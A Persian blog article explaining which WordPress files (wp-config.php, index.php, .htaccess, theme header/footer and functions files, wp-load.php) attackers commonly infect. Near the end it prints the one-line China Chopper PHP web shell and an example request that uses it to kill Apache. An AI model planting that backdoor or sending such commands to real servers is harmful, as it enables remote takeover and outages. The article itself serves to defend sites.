روزها درگیر مصائب فنی، شبها مشغول ثبت راهحلهای یافتنی
وردپرس و مهمترین فایلهایی که طعمه هکرها میشوند
تا سال 2021 از تقریبا 1.3 میلیارد وب سایت در کل اینترنت، بیش از 455 میلیون سایت از سیستم مدیریت محتوای وردپرس استفاده میکردهاند. وردپرس هر شش ماه 1.1 میلیون دانلود جدید و به عبارتی سالانه بیش از 2 میلیون دانلود دارد. همه اینها در کنار ارائه بیش از 54 هزار افزونه و 11 هزار قالب، وردپرس را به یکی از سادهترین و کاربرپسندترین سیستمهای مدیریت محتوا و پلاتفرمهای ساخت سایت بدل کرده. با این اوصاف بدیهی است که وردپرس -به همراه افزونهها و قالبهای مبتنی بر آن- هدف انواع حملات هک قرار بگیرند.
در این میان هسته وردپرس شامل فایلهایی میشود که معمولا بیش از دیگران در معرض این قبیل حملات و آلودگیاند و در اینجا به برخی از مهمترینهایشان اشاره میکنیم:
فایل wp-config.php
فایل wp-config.php یکی از مهمترین فایلهای وردپرس محسوب میشود، چون نقش رابط و پل ارتباطی را بین سیستم وردپرس با دیتابیس بازی میکند و اطلاعات حساسی را -مثل نام دیتابیس، نام کاربری و رمز آن، پیشوند جداول دیتابیس، کلیدهای امنیتی و غیره- در خودش جای داده و بنابراین به خاطر همین حساسیت و اهمیتش است که عموما به قربانی و هدف حمله هکرها تبدیل میشود.
برای مثال پارسال حفره امنیتی مهمی در افزونه معروف Duplicator پیدا شد که به هکرها اجازهی دسترسی به فایل wp-config و دانلودش را میداد. هکر به محض دسترسی به اطلاعات موجود در این فایل سعی میکند به دیتابیس متصل بشود، برای خودش یک حساب جعلی ادمین بسازد و از این طریق دسترسی کامل به وبسایت و دیتابیس را به چنگ بیاورد. به این ترتیب همه چیز -از رمز کاربران و فایلها و تصاویر بگیرید تا جزئیات تراکنشهای ووکامرس و غیره- به سادگی آب خوردن دست هکر میافتد.
فایل index.php
فایل index.php در حکم ورودی هر سایت وردپرسی است و برای لود هر صفحه و برگهای در سایت این فایل هم باید اجرا شود. در نتیجه هکرها کدهای مخربشان را در این فایل قرار میدهند تا به این واسطه کل سایت را آلوده کنند. برای مثال pub2srv و favicon.ico از جمله بدافزارهایی هستند که فایلهای index.php را هدف میگیرند. برخی بدافزارها نام فایل index را تغییر میدهند تا وبسایت از کار بیفتد و لود نشود و برخی هم با افزودن کد آلوده به این فایل، انواع تبلیغات آلوده را به کاربر نمایش میدهند یا ترافیک بازدیدکنندگان را به سمت سایر سایتهای آلوده هدایت میکنند (اصطلاحا ریدایرکت هک).
بنابراین میتوان کدهای فایل index را با نسخه اصلی آن در وردپرس مقایسه کرد تا در صورت مشاهده کدهای آلوده جایگزینش کرد.
فایل .htaccess
فایل .htaccess که عموما در سرورهای آپاچی پیدا میشود، برای انجام تنظیمات سرور و کنترل عملکرد و رفتار سرور بسته به نیازهای وبسایت کاربرد دارد؛ مثلا محدود کردن سطح دسترسی به بعضی فایلها و فولدرهای خاص، تغییر میزان ماکزمیم مصرف حافظه، ریدایرکتها، مدیریت کش، اعمال کردن پروتکل https، کنترل باتها و خیلی کارهای دیگر.
حالا تصور کنید اگر فایلی با این همه قابلیت به دست هکر بیفتد چه اتفاقی میافتد! در این حالت این فایل میتواند برای ریدایرکت کردن ترافیک بازدیدکنندگان به سمت سایتهای آلوده یا نمایش اسپم به کاربران یا هر چیز دیگری استفاده بشود.
برای مثال در خط آخر محتوای یک فایل htaccess (تصویر بالا) یک کد آلوده دیده میشود که ترافیک کاربران را به آدرس دیگری هدایت میکند و سپس سعی میکند یک اسکریپت آلوده را لود و اجرا کند.
فایلهای header.php و footer.php
قالبهای وردپرسی یک فایل سربرگ و یک فایل پابرگ دارند. در این دو ناحیه اسکریپتها و ابزارکهایی قرار دارند که به طور ثابت در سراسر وبسایت باقی میمانند (برای مثال ابزارک شبکههای اجتماعی، اطلاعات کپیرایت سایت و غیره).
به همین خاطر این دو هم فایلهای مهمی محسوب میشوند که میتوانند از طرف هکر هدف قرار بگیرند. در این مورد هم کدهای آلوده هکر میتواند عملکردهای مختلفی داشته باشد: ریدایرکت کاربر، سرقت اطلاعات کاربر از طریق دسترسی به کوکیهای مرورگر او، نمایش تبلیغات اسپم و...
کدهایی که هکر در header و footer قرار میدهد، در اکثر موارد مبهمسازی میشود تا برای انسان قابل درک نباشد. در نتیجه برای فهم اینکه هکر چکار کرده باید این کدها را با روشهای مختلفی رمزگشایی یا decode کرد.
فایل functions.php
وظیفه فایل توابع یا functions.php در قالب وردپرس، فراخواندن و اجرای توابع و رویدادهای مختلف php است؛ بنابراین از این جهت طعمه خوبی برای هکرها به شمار میرود. برای مثال بدافزار معروف wp-vdc که خیلی سریع به کل سایت سرایت پیدا میکند و شانس زیادی هم برای پاکسازیاش به روش دستی نیست، فایل توابع را هدف قرار میدهد، ادمینهای جدیدی میسازد و در سایت صفحات اسپم به وجود میآورد.
برای نمونه کد بالا شامل فایلی به نام class.theme-modules.php است که از آن برای ورود و نصب بدافزار در داخل قالب و ایجاد کاربران و backdoorهای مختلف استفاده میشود، به طوری که حتی با پاک کردن فایل هم همچنان هکر به سایت دسترسی خواهد داشت.
فایل wp-load.php
فایل wp-load.php هم یکی دیگر از فایلهای مهم وردپرس محسوب میشود که به راهاندازی محیط وردپرس کمک میکند و به افزونهها این قابلیت را میدهد که از توابع هسته وردپرس استفاده کنند. هکر ممکن است یا خودِ این فایل را آلوده کند یا فایل دیگری مشابه با آن درست کند (مثلا بدافزار china chopper که اولینبار سال 2012 سروکلهاش پیدا شد، فایلی با ساختار اسمی wp-load-(*).php ایجاد میکرد که در نگاه اول به خاطر شباهت اسمی با فایل wp-load.php به چشم نمیآمد). در این فایل ممکن است مثلا کدی مشابه زیر قرار بگیرد:
<?php @eval($_POST['pass']);?>
همین یک خط به هکر اجازه میدهد هر کد php را که بخواهد در پارامتر pass قرار بدهد و اجرا بکند. مثلا با دستور زیر میتواند همه فرایندهای وبسرور را متوقف و کل سرور را خاموش کند.
https://example.com/your.php?pass=system("killall -9 apache");
وندا نوژن
مطالب مرتبط:
هک ریدایرکت سایت وردپرسی و نحوه پاکسازی آن
وردپرس: یافتن اکانت نامرئی هکر
انتشار نسخه جدید و امنیتی وردپرس
مطلبی دیگر از این انتشارات
خرید سایت آماده شرکتی
مطلبی دیگر از این انتشارات
آموزش عبارت های منظم در PHP
مطلبی دیگر از این انتشارات
چگونه سایتها و پروژههای PWA را قبل از Publish بر روی سیستمعامل اندروید تست نماییم؟